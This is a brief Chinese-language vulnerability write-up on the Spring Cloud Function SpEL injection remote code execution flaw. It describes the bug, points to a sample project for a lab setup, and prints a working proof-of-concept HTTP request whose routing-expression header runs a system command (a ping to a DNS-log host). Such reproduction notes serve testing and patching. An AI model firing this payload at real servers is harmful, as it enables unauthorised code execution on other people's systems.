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35 lines
1.1 KiB
Markdown
35 lines
1.1 KiB
Markdown
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# Spring Cloud Function SPEL 远程命令执行漏洞
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## 漏洞描述
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Spring Cloud Function 是基于 Spring Boot 的函数计算框架，它抽象出所有传输细节和基础架构，允许开发人员保留所有熟悉的工具和流程，并专注于业务逻辑。 由于 Spring Cloud Function 中 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理，造成了 Spel 表达式注入漏洞，未经授权的远程攻击者可利用该漏洞执行任意代码。
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## 漏洞影响
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```
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Spring Cloud Function
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```
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## 环境搭建
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- https://github.com/spring-cloud/spring-cloud-function/tree/main/spring-cloud-function-samples/function-sample-pojo
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## 漏洞复现
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搭建后访问
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发送 POC
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```
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POST /functionRouter HTTP/1.1
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Host: 192.168.1.27:9000
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spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping -c 1 dxytoy.dnslog.cn")
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Content-Length: 1
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```
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接收到请求
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